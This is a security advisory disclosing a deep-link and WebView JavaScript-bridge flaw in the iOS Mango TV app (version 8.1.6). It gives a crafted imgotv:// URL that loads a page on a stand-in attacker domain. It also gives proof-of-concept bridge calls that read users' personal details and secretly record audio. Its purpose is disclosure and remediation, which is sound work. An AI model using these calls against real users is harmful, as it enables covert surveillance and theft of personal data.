

# An information leak vulnerability in the iOS version of Mango TV app

## Brief Description

Mango TV is a video app, providing functions such as video viewing, video downloading, live streaming viewing, comment interaction. It ranks **No.9** in the **"Entertainment"** category list on the App Store of the Chinese region and has **135,000 ratings**.



The iOS version of the Mango TV app supports opening web pages from external deep link URL (Scheme-customized URL). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found that **there lacks a proper domain name validation** when these interfaces are invoked.


Thus, an attacker can craft a **malicious Scheme-customized URL**. When clicked by the victim in a browser or another app, the URL can direct the victim to the Mango TV app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, compromise victim's privacy such as **secretly recording audio**, obtaining victim's **geographical location**, obtaining victim's **personal information** (such as **PhoneNumber**, **BirthDate**, **Gender**, **Registration Location**, **Email**, **Nickname**, **Avatar**, **Personal Signature**, some Account IDs), and obtaining

victim's **device information** (such as IP, Wi-Fi MAC, DeviceName, some Device IDs).


## Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL in the following format: **imgotv://webview?from=hitv&url=https://attack.com/mangotv/atkMgtv.html**. Here, **"attack.com"** is a domain registered by the attacker and under the attacker's control.

When the victim clicks on this URL, it directs the victim to the Mango TV app and opens the web page.



Within the webpage, the attacker can then invoke privileged interfaces and carry out malicious activities, such as **secretly recording audio**, obtaining victim's **geographical location**, obtaining victim's **personal information** (such as **PhoneNumber**, **BirthDate**, **Gender**, **Registration Location**, **Email**, **Nickname**, **Avatar**, Personal Signature, some Account IDs), and obtaining victim's **device information** (such as IP, Wi-Fi MAC, DeviceName, some Device IDs).



Part of the code for JS to call OC and the callback function defined in JavaScript are shown below:

```

setupWebViewJavascriptBridge(function (bridge) {
    bridge.callHandler('getPersonalInfo', {}, function (response) {
        var json = JSON.parse(response.data);

        document.getElementById("PhoneNumber").innerText = "Your PhoneNumber: " + json.relate_mobile;

        document.getElementById("NickName").innerText = "Your NickName: " + json.nickname;

        document.getElementById("PersonalSignature").innerText = "Your PersonalSignature: " + json.introduction;

        document.getElementById("Avatar").src = json.avatar.xl.replace("\\", "/");

        document.getElementById("BirthDay").innerText = "Your BirthDay: " + json.birthday;

        document.getElementById("Email").innerText = "Your Email: " + json.email;
    });
}

```

```

document.getElementById("startRecId").onclick = function () {
    setupWebViewJavascriptBridge(function (bridge) {
        bridge.callHandler('startRecording', {}, function (response) {
        });
    });
}

document.getElementById("stopRecId").onclick = function () {
    setupWebViewJavascriptBridge(function (bridge) {
        bridge.callHandler('endRecording', {}, function (response) {
            audioB64 = response.data;
        });
    });
}

```

## Impact of the Vulnerability

**Scope of the vulnerability:** At least including Mango TV app iOS 8.1.6 (the latest version as of 2024-06-28).

**Consequences of the vulnerability:** Information disclosure.

**Download link for affected application:**

📎 **CN:**

<https://apps.apple.com/cn/app/%E8%8A%92%E6%9E%9Ctv/id629774477>

## Possible Countermeasures

Should implement proper domain name checks before the invocation of privileged interfaces.